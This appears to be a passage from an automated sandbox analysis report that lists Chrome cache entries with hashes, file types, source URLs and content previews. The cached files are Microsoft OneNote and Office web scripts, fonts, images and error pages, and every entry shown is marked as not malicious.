Preview:	(function(){function getAugmentedNamespace(e){if(e.__esModule)return e;var t=e.default;if("function"==typeof t){var r=function e(){if(this instanceof e){var r=[null];return r.push.apply(r,arguments),new(Function.bind.apply(t,r))}return t.apply(this,arguments)};r.prototype=t.prototype}else r={};return Object.defineProperty(r,"__esModule",{value:!0}),Object.keys(e).forEach((function(t){var n=Object.getOwnPropertyDescriptor(e,t);Object.defineProperty(r,t,n.get?n:{enumerable:!0,get:function(){return e[t]}})})),r}var lib={},extendStatics=function(e,t){return extendStatics=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}\|\|function(e,t){for(var r in t)Object.prototype.hasOwnProperty.call(t,r)&&(e[r]=t[r])},extendStatics(e,t)};function __extends(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Class extends value "+String(t)+" is not a constructor or null");function r(){this.constructor=e}extendStatics(e,t),e.prototype=null===t?Object.create(t):(r.

Chrome Cache Entry: 366

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 3052, version 4.-22282
Category:	downloaded
Size (bytes):	3052
Entropy (8bit):	7.719621094274623
Encrypted:	false
SSDEEP:	48:V+NMJxQv1L6elIhTDJs0Tm6hEv+5QMCexAnt40neND4+7kMKfF+WvPOhaGPsXqA4:V+a4tLLlIhTdnTmzvWQb+AvSbHKfFWwA
MD5:	A11193DEB0B6BA33E4782396F19F3D0C
SHA1:	6200BCA8CB8A8C7B8C2AA7E8665E464ED5D15194
SHA-256:	FE05188DA3C5A767088355C5FB1229BA979AEDC8727AD8FCF9C170267C52B786
SHA-512:	38BB35A8A47FC8FD6C42ABF812F81453ED0C73EDA82695F0DDB9324EC06A68CBE07DE05BC1A95E9289ABE75AF34A463EBB36040F731A4375FE4E6D9A359D4FC2
Malicious:	false
URL:	https://c1-onenote-15.cdn.office.net/o/s/hFE05188DA3C5A767_App_Scripts/fonts/sharedheaderplaceholder-icons.woff
Preview:	wOFF........................................OS/2...D...H...`1Y{.cmap.......N...r....cvt ....... .......fpgm...........Y...gasp................glyf............@.-.head.......2...6.P.@hhea...........$....hmtx................loca... .........F..maxp...4....... .&..name...T...........Upost...L....... .Q..prep...`........x...x.c`a_.8.....u..1...4.f...$..........@ ...........<...!$.X.........~..x.c```f.`..F.......\|... -..@.......<.~^......1E$.I<.8'.A.Sl..:.4...)6......(..x.c.b.e(`h`X.......x............x.]..N.@..s$..'@:!.uC....K$.%%...J.......n..b.........\|.s...\|v..G)V.7........!O.6eaL.yV.e.j..kN..M.h....Lm....-b....p.N.m.v.....U<..#...O.}.K..,V..&...^...L.c.x.....?ug..l9e..Ns.D....D...K........m..A.M....a.....g.P..`....d.............x..TMh.G.~ogWk..X^.k+.F.......=.......'....l$..P..MV..v.E.?....@..9$=..S..!...%&`.s(u......].^..f.....f..X.`?.....@qx.~..F..7...Q..n.~.M.}X.....A..`...@g..isq.o...t.\|.....)@.....c~..+.....-B..D....E....B...\|.}.6>.....y..].6....

Chrome Cache Entry: 367

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65443)
Category:	dropped
Size (bytes):	734469
Entropy (8bit):	5.519143735413564
Encrypted:	false
SSDEEP:	6144:aonR5cl3CpS0tBVw8ch8FDp8+n7r+n7zaVXs/fVk/rEvMCM4YxEY/U9RjFdiPbf:aonR5V9Vs1sr2FI
MD5:	9F5073B64B56A4C8D0B1B596C3D05FFD
SHA1:	CAFAD76BE15AC0B9E3B48AF173D2EFE02B5C416F
SHA-256:	8B6BA39147DC3BA407A6D00A31C665194A425D95BC3F8F6284C52A2008E73C5E
SHA-512:	B488EBB48BEEBBDE0BEBDCD652C3B9057C1008D067308B68179BF1C6C4C122021A044FB0D9177E0BC8FB9BE4E715C7205A2084017BB6F3A6D423860C34A920A3
Malicious:	false
Preview:	/! For license information please see officebrowserfeedback_floodgate.min.js.LICENSE.txt /.!function(e){var t={};function A(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,A),r.l=!0,r.exports}A.m=e,A.c=t,A.d=function(e,t,n){A.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},A.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},A.t=function(e,t){if(1&t&&(e=A(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(A.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)A.d(n,r,function(t){return e[t]}.bind(null,r));return n},A.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return A.d(t,"a",t),t},A.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},A.p="",A(A.s=

Chrome Cache Entry: 368

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 151924, version 0.0
Category:	downloaded
Size (bytes):	151924
Entropy (8bit):	7.996755078799659
Encrypted:	true
SSDEEP:	3072:izu4By5vR4gdzOjZHpybtAVOZ71Q1gcq0WTo7wSRhpFY/iw2yQ0X2+6L0aR/h:iznyHBmNMJcOd1ro719FY/ilyQ0Gp
MD5:	E80FF72E03E780056CFDBD85C63404CE
SHA1:	C450A1A6233F0FBC6DBFFB7FEE251E378F64EF32
SHA-256:	05828D625DCB5781D0A3CC67A2429CED535FDF848B8B8075D49751EB5B30C7AF
SHA-512:	D819D75CA896AF15F99185F87AF40A85A0FA6941B9E08974C6569123B601DCC8E043BE1C0F5C154E37A351A046B57D5196002B16FA7102761E3C0961D92CAC8D
Malicious:	false
URL:	https://spoprod-a.akamaihd.net/files/fabric/assets/icons/fabricmdl2icons.woff
Preview:	wOFF......Qt................................OS/2...X...H...`JZ}.VDMX.............^.qcmap................cvt ...\... ...*....fpgm...\|.......Y...gasp...l............glyf...x..$...0.{.yyhead..7`...6...6%.d.hhea..7........$7.5.hmtx..7....M... .N..loca..<....q...D...maxp..K\|... ... .\|..name..K....8.......post..P........ .Q.wprep..P.........x...x.c`.`a......:....Q.B3_dHc..`e.bdb... .`@..`......os9.\|...V...)00......x...S......._..m.m.m.m.m;e..y.~.......<p..a.0t.&...a.pa.0B.1..F...Q.ha.0F.3.....q.xa.0A.0L.&...I.da.0E.2L....i.ta.0C.1..f...Y.la.0G.3.....y.\|a..@X0,.....E.ba.DX2,....e.ra..BX1..V...U.ja..FX3.....u.za..A.0l.6...M.fa.E.2l....m.va..C.1..v...].na..G.3......}.~a.p@80......C.a..pD82.....c.q..pB81..N...S.i..pF83.....s.y..pA.0\.....K.e..pE.2\....k.u..pC.1..n...[.m..pG.3......{.}...@x0<.....G.c...Dx2<....g.s...Bx1..^...W.k...Fx3.....w.{...A.0\|.>...O.g...E.2\|....o.w...C.1..~..._.o..08........?..0$........x...wx.....;..j..fwf....R. %.....4......"<.w..A.<..H.C'.E.E..

Chrome Cache Entry: 369

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	179047
Entropy (8bit):	5.525712599528241
Encrypted:	false
SSDEEP:	3072:h1AR5AkNPInYOw/AiOeDOqCkR4LJMyy5333WU/LomKb8NSiPRu/8vQ0a1L:sjzNPWYOKAiOeDGm4LJMyyllomKbQaV
MD5:	28AE8A97F4ABA21B7C2E35059829E3A2
SHA1:	B7B1145ADB4697AD6D781BF6D63F9C6F7FBF3A93
SHA-256:	6DEFAE634ACD4E2356838DEE0DD0213411310C26A2D9720C2C85058B7771B1BE
SHA-512:	DE609110BF4206675F41F2152CE38D1FF8D5E94F6FD7195FA12A37C7615EFB10FEED8D1436C348264A2F0067E850D234FBE3A10B01B9F73AAD602FEFC523B0DE
Malicious:	false
Preview:	var Microsoft;!function(){"use strict";var t,e,n,o,i={32812:function(t,e,n){n.d(e,{h:function(){return s}});var o=n(13260),i=n(40426),r=n(19665),s=function(t){function e(){var e=null!==t&&t.apply(this,arguments)\|\|this;return e.value=null,e.hasNext=!1,e.hasCompleted=!1,e}return o.C6(e,t),e.prototype.U=function(e){return this.hasError?(e.error(this.thrownError),r.y.EMPTY):this.hasCompleted&&this.hasNext?(e.next(this.value),e.complete(),r.y.EMPTY):t.prototype.U.call(this,e)},e.prototype.next=function(t){this.hasCompleted\|\|(this.value=t,this.hasNext=!0)},e.prototype.error=function(e){this.hasCompleted\|\|t.prototype.error.call(this,e)},e.prototype.complete=function(){this.hasCompleted=!0,this.hasNext&&t.prototype.next.call(this,this.value),t.prototype.complete.call(this)},e}(i.B7)},39188:function(t,e,n){n.d(e,{t:function(){return s}});var o=n(13260),i=n(40426),r=n(92581),s=function(t){function e(e){var n=t.call(this)\|\|this;return n.N=e,n}return o.C6(e,t),Object.defineProperty(e.prototype,"va

Chrome Cache Entry: 370

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 90 x 25, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	4.035372245524404
Encrypted:	false
SSDEEP:	3:yionv//thPlUbjG/7Bxl/k4E08up:6v/lhPimt7Tp
MD5:	83ECA790CE105B3BBA582D5BCE7B9DA6
SHA1:	0AD8A722591EB67C39D1F53BA7C5C898789B34D3
SHA-256:	8D562E2F660F35375F78632F3249576FD1AF51FE345F7A342437AAFE08CA57FC
SHA-512:	B9E9AC7BE276F1066237D03098E9DD459C685CF1495D8CB1B2952A052539901DF6B9F08FD8AD2A63340C505B931BA787B10FFFAC22D28FE2F03D91E13F00326B
Malicious:	false
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/8d80c836df1d4755/1729844374089/DckShhWThQsvEsd
Preview:	.PNG........IHDR...Z.........>.......IDAT.....$.....IEND.B`.

Chrome Cache Entry: 371

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (672)
Category:	downloaded
Size (bytes):	2347861
Entropy (8bit):	5.637983408571914
Encrypted:	false
SSDEEP:	49152:eZgm4eCLTxm3JnfpWD55jMcACuBW5RJj33qQ3O+BbuUDueUD32CDcrrxVn+jC/Hz:wsqp2925CH
MD5:	EEB61E4E3B09AB99B1BDB48A68DE3B0F
SHA1:	474B169E13CF3BB1AC0101E915B59612AC025649
SHA-256:	9305C186BFA36C3F54D99504658E9B49840DCEB94B9AE62699AA93766D665AA0
SHA-512:	C2D497BACB0BF140C502ACC164C05D0DF3BA38E6DFC4494B38D152D85A71DBD46FB99D8F6025CF137879DE3C906D04E99856F045EB8759DA3D06E30AE4419282
Malicious:	false
URL:	https://c1-onenote-15.cdn.office.net/o/s/hF2D4A670C00B7D9D_App_Scripts/OneNoteDS.box4.dll1.js
Preview:	'use strict';(globalThis.dullscriptWebpackJsonp=globalThis.dullscriptWebpackJsonp\|\|[]).push([[1],{97731:function(ya,Sa,H){H.d(Sa,{a:function(){return ha}});ya=H(61673);var Ba=H(66215),Fa=H(1496),na=H(22069),C=H(8562),L=H(4840),d=H(39388),k=H(40343),h=H(64233),l=H(22950),w=H(31929),u=H(32031),z=H(88460),x=H(21754),y=H(16648),A=H(88087),F=H(43016),K=H(89335),G=H(25508),t=H(62994),J=H(94801),N=H(28828),O=H(78033),D=H(39188),Q=H(82220),n=H(24438),M=H(88052),Z=H(95681),T=H(40613),P=H(86737);class W{constructor(){this.pressure=.this.pageY=this.pageX=this.y=this.x=0}}(0,ya.a)(W,"InkPacket",null,[]);var ea=H(46545),da=H(86645),ba=H(93427),ua=H(93920),la=H(44405);class ha{static get wuc(){return L.a.instance.resolve("OneNote.IInkEditor")}static get e2(){return d.FocusManager.instance()}static get mbb(){return ha.Ee\|\|(ha.Ee=L.a.instance.resolve("Box4.ICaretPositionManager"))}static get Usa(){return ha.eb\|\|(ha.eb=L.a.instance.resolve("Box4.ICevViewContentManager"))}static ir(){return ha.zh\|\|(ha.z

Chrome Cache Entry: 372

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 (with BOM) text, with very long lines (4207), with CRLF line terminators
Category:	downloaded
Size (bytes):	4212
Entropy (8bit):	5.732834657954366
Encrypted:	false
SSDEEP:	48:Rm/hpTwpHpypYYqeQkpYYFNtjEYtDE0kypOKeklKVuAmM3oVKCM3j++j+xUJo8/q:iyzh0QYtD5o6Im+n36+jLXYKMVp/
MD5:	5780200B7FE28C3F2C46864A012246E5
SHA1:	03A13FDC8A8CC7DBECE15E23105EA6E870105133
SHA-256:	0EF96689F29280B58D5024539DFE352EC9DD520CA1EDA5E24F0AEBD31DE0A560
SHA-512:	4FCC868D4E3401728FE4AEBB2AF8D2DB937309EA98EB916E02CF85E61504170C5B7B62C3169D4BE130363552063B1232575CDD9863026CAB2816DA96BD03AD26
Malicious:	false
URL:	https://onenote.officeapps.live.com/o/error/error.html?aspxerrorpath=/o/null&DataUrlEnabled=true
Preview:	.<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" ><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title></title><script type="text/javascript"> var l_ErrorImageAlt_Text = "The service is unavailable"; var l_ErrorHeader_Text = "Service Unavailable"; var l_ErrorLine1_Text = "We are currently experiencing technical difficulties."; var l_ErrorLine2_Text = "Please try again later."; var l_ErrorHeaderStyle_Text = "font-family: calibri, tahoma, verdana, arial, sans serif; font-size: 18pt; color: #444444; line-height: 150%"; var l_ErrorTextStyle_Text = "font-family: calibri, tahoma, verdana, arial, sans serif; font-size: 10pt; color: #444444"; var language = "en-us"; function writeLocalizedErrorMessage() { getBrowserLanguage(); loadScript(); try{ if(window.parent.g_enableFramePageErrorReporting) { const message = { MessageId: "Wac_AppFailed", SendTim

Chrome Cache Entry: 373

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (49535)
Category:	downloaded
Size (bytes):	772777
Entropy (8bit):	5.359301422886437
Encrypted:	false
SSDEEP:	12288:agx87ONuSyGFHJQ9qIslXuAIp6f2/eYHc8CWaYqLy:lqZGFHJQ9qIsFuAIkejc8C0
MD5:	C6D77B4F01A5CD71C41C5AC1367CAA94
SHA1:	6BF37C89FDE94FE2ABECBFF6930D8540FC8381DB
SHA-256:	1DF5CD4A9E8FF36C38EE1D69054EC658B1033DD70CDFA8FBE00035240BADBC2F
SHA-512:	C4F867AA464E90F3BC06707A16B4CCCF3F592ED95BD9204BD95F7DFF09225627AE90749C41E2D4C6DFBE689F1DB8F944B3099F5B8464C2CEF15F0CC854364575
Malicious:	false
URL:	https://res-1.cdn.office.net/files/odsp-web-prod_2024-10-11.010/wacodcowlhostwebpack.manifest/wacodcowlhostwebpack.js
Preview:	/! For license information please see wacodcowlhostwebpack.js.LICENSE.txt /.var __webpack_result__;(()=>{var e=[(e,t,n)=>{"use strict";n.d(t,{a:()=>r,b:()=>c,c:()=>s,d:()=>i,e:()=>d,f:()=>o,g:()=>l});var a=function(e,t){return a=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}\|\|function(e,t){for(var n in t)Object.prototype.hasOwnProperty.call(t,n)&&(e[n]=t[n])},a(e,t)};function i(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Class extends value "+String(t)+" is not a constructor or null");function n(){this.constructor=e}a(e,t),e.prototype=null===t?Object.create(t):(n.prototype=t.prototype,new n)}var r=function(){return r=Object.assign\|\|function(e){for(var t,n=1,a=arguments.length;n<a;n++)for(var i in t=arguments[n])Object.prototype.hasOwnProperty.call(t,i)&&(e[i]=t[i]);return e},r.apply(this,arguments)};function o(e,t){var n={};for(var a in e)Object.prototype.hasOwnProperty.call(e,a)&&t.indexOf(a)<0&&(n[a]=e[a]);if(null!=e&&"function"=

Chrome Cache Entry: 374

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 82 x 258, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	6140
Entropy (8bit):	7.86318803852975
Encrypted:	false
SSDEEP:	96:JCXCuvaxrUZXtOVVLMtSqdyZ7x5rY4gby5cR+YBaB7W+Nf9XF5Qfhl4/t5K:MMr7AtaZ7fY4f5I/qRf9V6hSl5K
MD5:	2443F04DFD8CE58264835F7CD477799C
SHA1:	E798EF676A42AA8F723246C95FA6A918010223B2
SHA-256:	77DD1463FE34BE51528C6535C5AAF5590EE90BBD3B76AE8E362657C45E9F90FD
SHA-512:	2668E7EEFF653ECDEF04058FDC43328A80F297EE601839737F35A860737DAD438B03298C1A452E83DAED31DDDA540F7F065FE8F22FB05FC150A9FEAB08FFC91D
Malicious:	false
URL:	https://c1-onenote-15.cdn.office.net/o/s/161821441004_resources/1033/moe_status_icons.png
Preview:	.PNG........IHDR...R.........m......tEXtSoftware.Adobe ImageReadyq.e<...fiTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c061 64.140949, 2010/12/07-10:57:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:C714FB70438BE1119DF2F8ED1CCAF400" xmpMM:DocumentID="xmp.did:98155F5CD83911E1ACDEFDB8BE9BCEAA" xmpMM:InstanceID="xmp.iid:98155F5BD83911E1ACDEFDB8BE9BCEAA" xmp:CreatorTool="Adobe Photoshop CS5.1 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:09F73A8D39D8E111AE39EC2BD256A3F2" stRef:documentID="xmp.did:C714FB70438BE1119DF2F8ED1CCAF400"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>Y.[...,IDATx..........{....a.... .<c......3.....

Chrome Cache Entry: 375

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1696802
Entropy (8bit):	5.421500983139629
Encrypted:	false
SSDEEP:	49152:mBg7cgtoqbFjH4+mzfYyWhqyU0scDvpttZwJbhTJrSK4VxjPHRYOI+AmOkmMOkx2:hHJBRnISK
MD5:	E1FD17FCEC2CB35FD213E85B52850C2F
SHA1:	0287D09192300AA91E7C6AFA684B4EF80D536CAF
SHA-256:	5C1A339B057F4356DA637C136C76F77BF98CA7680958AC271CE0E1657C8EAB5F
SHA-512:	A12B566E32A419B13432098D9231E3870A20C72DB82103F33F3B347ED3B9D917111F02C9D78F29D9B9081DF3E9977F139FF27922C843609FB597A972CB6D09B1
Malicious:	false
Preview:	function asyncGeneratorStep(e,t,o,n,r,i,a){try{var s=e[i](a),l=s.value}catch(e){return void o(e)}s.done?t(l):Promise.resolve(l).then(n,r)}function _async_to_generator(e){return function(){var t=this,o=arguments;return new Promise((function(n,r){var i=e.apply(t,o);function a(e){asyncGeneratorStep(i,n,r,a,s,"next",e)}function s(e){asyncGeneratorStep(i,n,r,a,s,"throw",e)}a(void 0)}))}}function _define_property(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e}function _object_spread(e){for(var t=1;t<arguments.length;t++){var o=null!=arguments[t]?arguments[t]:{},n=Object.keys(o);"function"==typeof Object.getOwnPropertySymbols&&(n=n.concat(Object.getOwnPropertySymbols(o).filter((function(e){return Object.getOwnPropertyDescriptor(o,e).enumerable})))),n.forEach((function(t){_define_property(e,t,o[t])}))}return e}function ownKeys(e,t){var o=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);t&&(n=n.fi

Chrome Cache Entry: 376

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1837)
Category:	dropped
Size (bytes):	1882
Entropy (8bit):	5.245255266902916
Encrypted:	false
SSDEEP:	48:TQ2KOORG8wMGOLrdUK08uhGL2S3IH9sWRhCt:T6VpLx5uhGLPIH9sWRhCt
MD5:	4407169B6C6BE1315CB8BBCF664D6C13
SHA1:	D3930B118CACB9CB54F380896499A627D43A12D2
SHA-256:	805C4A9707CDA2C8FAB9D20C477C14CE783D37B739809A5601860465036549F2
SHA-512:	3D9296D19E19E11DB09A66B30D8E921CBBAAB4A4F8BA1B69E6B8A02D00D6D7EB4AE78A5E745472F4D3A9468EA236AE7232A6C8C32407C39EDD3F8F4C73C8CDC5
Malicious:	false
Preview:	"use strict";(globalThis.onenoteOnlineChunks=globalThis.onenoteOnlineChunks\|\|[]).push([[288],{16790:function(e,n,t){t.r(n),t.d(n,{Callout:function(){return i}});var o=t(14605),r=t(21598),a=t(19324),u=t(20546),i=r.forwardRef((function(e,n){var t=e.layerProps,i=e.doNotLayer,l=(0,o.__rest)(e,["layerProps","doNotLayer"]),s=r.createElement(a.s,(0,o.__assign)({},l,{doNotLayer:i,ref:n}));return i?s:r.createElement(u.W,(0,o.__assign)({},t),s)}));i.displayName="Callout"},90032:function(e,n,t){t.r(n),t.d(n,{ContextualMenu:function(){return p}});var o=t(14605),r=t(21598),a=t(15417),u=t(60669),i=t(72513),l=t(21564),s=t(98371),d={root:"ms-ContextualMenu",container:"ms-ContextualMenu-container",list:"ms-ContextualMenu-list",header:"ms-ContextualMenu-header",title:"ms-ContextualMenu-title",isopen:"is-open"};function c(e){return r.createElement(m,(0,o.__assign)({},e))}var m=(0,a.I)(i.wb,(function(e){var n=e.className,t=e.theme,o=(0,l.Km)(d,t),r=t.fonts,a=t.semanticColors,u=t.effects;return{root:[t.fon

Chrome Cache Entry: 377

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1208
Entropy (8bit):	5.4647615085670616
Encrypted:	false
SSDEEP:	24:hM0mIAvy4WvsqFOa7JZRGNeHX+AYcvP2wk1USdYF9Yk5:lmIAq1UqFOiJZ+eHX+AdP2wyYFOk5
MD5:	D29FA9F2AB3A72F2608E8E82C8C3D1C6
SHA1:	8B21CC06752837B4B6B8FEF8D54F50EB2C7CCA8F
SHA-256:	E1B0A10649C4B92F828523EFC2EBE135EA9488179A2816888D1E84F786202DBF
SHA-512:	824A207E3F5AF4934B7B50FE5E3F8585FAECA571C3C39E510C06DC8FBDF3E64B07811CAAE06239936BDDDDFA4C90E534F03C0DA8147AF9294042DEA6B0FBCB94
Malicious:	false
Preview:	<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">..<html xmlns="http://www.w3.org/1999/xhtml">..<head>..<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/>..<title>500 - Internal server error.</title>..<style type="text/css">.. ..body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}..fieldset{padding:0 15px 10px 15px;} ..h1{font-size:2.4em;margin:0;color:#FFF;}..h2{font-size:1.7em;margin:0;color:#CC0000;} ..h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} ..#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;..background-color:#555555;}..#content{margin:0 0 0 2%;position:relative;}...content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}..-->..</style>..</head>..<body>..<div id="header"><h1>Server Error</h1></div>..<div id="content">.. <div class="content-

Chrome Cache Entry: 378

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (351)
Category:	downloaded
Size (bytes):	867
Entropy (8bit):	5.022371014336119
Encrypted:	false
SSDEEP:	12:+yrNYyZevXo5+fY50zRrmNJiN0vm5XqK64crwkQfFBTxKzLEkQfFMxvTdO+kQfVK:FBYKem+fY5IUJQX9c0hF4TdO2/sX
MD5:	508D5DDAE99658C5DADBDD91124580F2
SHA1:	757E67BBD709A1DC061F88105AB69A99012908AA
SHA-256:	56A5A66F6804BA58C32736A87B1DB8CE78B66A5C4F91F21E753B866CF7CE6BA6
SHA-512:	03AE7ADC4FC4B4BC62B01B2853D796650AB3993D4140252856BA4B52E0D52705A5FE5B9D4F970131B6FDCC47D4DFBDF5C93D6CC9648E3BB3142DE09B65C86B24
Malicious:	false
URL:	https://res-1.cdn.office.net/files/odsp-web-prod_2024-10-11.010/wacodcowlhostwebpack.manifest/en-us/initial.resx.js
Preview:	"use strict";(self.odspNextWebpackJsonp=self.odspNextWebpackJsonp\|\|[]).push([["initial.resx"],{186:e=>{e.exports=JSON.parse('{"a":"My files"}')}.,180:e=>{e.exports=JSON.parse('{"m":"Open in Word","h":"Open in Project","b":"Open in Excel","g":"Open in PowerPoint","e":"Open in OneNote","k":"Open in Visio","i":"Open in Publisher","c":"Open in InfoPath","l":"Open in Word Online","f":"Open in PowerPoint Online","a":"Open in Excel Online","d":"Open in OneNote Online","j":"Open in Visio Online"}')}.,205:e=>{e.exports=JSON.parse('{"c":"Still here?","a":"For your security, Personal Vault will automatically lock in 1 minute.","b":"Keep unlocked","f":"Personal Vault didn\\u0027t lock","d":"There was a problem locking your Personal Vault. If this happens again, you can sign out of OneDrive to lock your Personal Vault","e":"Retry"}')}.}]),define("initial.resx",[],{});

Chrome Cache Entry: 379

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (42915)
Category:	downloaded
Size (bytes):	211427
Entropy (8bit):	5.527090650906731
Encrypted:	false
SSDEEP:	3072:dgxHuD2qP5K3klIEMSrFg4y6qhW7tvSZ0PGY0ttLo8HxZVv:WuDdY3kGBSJgy5pNWtLo8l
MD5:	47A7F90B61230BBB7FBEB2132A8BBD43
SHA1:	40D26F410F6B0A178BD61C06CD90D9EBE541BE0E
SHA-256:	0C23BA55CD8384A6B6EAE1B2BF20E993896AD34873DD5E7112644E86258D9898
SHA-512:	C965500741A12BF6C24BF93C76E8C1D3B0718068186F7C0E6FBF15D507AC734503C8F83108E9EA53A9C58D124EF5DDE548654F2F611265F2BFB807F193AC2A16
Malicious:	false
URL:	https://c1-onenote-15.cdn.office.net/o/s/161821441004_App_Scripts/suiteux-shell/js/suiteux.shell.plus.js
Preview:	var shellPerformance=window.performance,HighResolutionTimingSupported=!!shellPerformance&&"function"==typeof shellPerformance.mark;HighResolutionTimingSupported&&shellPerformance.mark("shell_plus_start"),(self["suiteux_shell_webpackJsonp_suiteux-main"]=self["suiteux_shell_webpackJsonp_suiteux-main"]\|\|[]).push([["plus"],{77514:function(e,t,n){(t=e.exports=n(70002)(!1)).push([e.id,'.o365cs-base .oxbF2LyKwVB\\/a5\\+4gTMkFg\\=\\={display:-ms-flexbox;display:flex;-ms-flex-direction:row;flex-direction:row;border:1px solid hsla(0,0%,100%,0);box-shadow:0 1px 2px 0 rgba(0,0,0,.1);box-sizing:border-box;width:276px;padding-left:0;align-items:flex-start;margin:0 0 17px 16px}html[dir=rtl] .o365cs-base .oxbF2LyKwVB\\/a5\\+4gTMkFg\\=\\={margin-left:0;margin-right:16px}.o365cs-base .oxbF2LyKwVB\\/a5\\+4gTMkFg\\=\\=:hover{-webkit-box-shadow:0 8px 16px 0 rgba(0,0,0,.1);box-shadow:0 8px 16px 0 rgba(0,0,0,.1)}.o365cs-base .oxbF2LyKwVB\\/a5\\+4gTMkFg\\=\\=>button{min-width:30px;width:30px;height:36px;paddi

Chrome Cache Entry: 380

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65535), with no line terminators
Category:	downloaded
Size (bytes):	291944
Entropy (8bit):	5.339452624635816
Encrypted:	false
SSDEEP:	6144:ourQUjLm+AvPSIoPaKKmMlHh0Gt4V3pgYh:nsUjtKJlHq
MD5:	4753311527A079EC0CC7E95D043B12C4
SHA1:	ECDDDE593B9BB99B9AF52572ACE99AE8668D23D8
SHA-256:	E1A86909453E1BFDB18F961D9148601D54308E5C7A7826DFD79A7264A53B6E6A
SHA-512:	5149EFEE6039AF9794E068DCCCC3E1200A9705552742C3C3072E19112EF27108EC287F55474F42603A651B55BCF73ABD426D6CB7DDDEC2E27AFF587FCB289F7C
Malicious:	false
URL:	https://c1-onenote-15.cdn.office.net/o/s/161821441004_App_Scripts/wp5/appIconsLazy.min.js
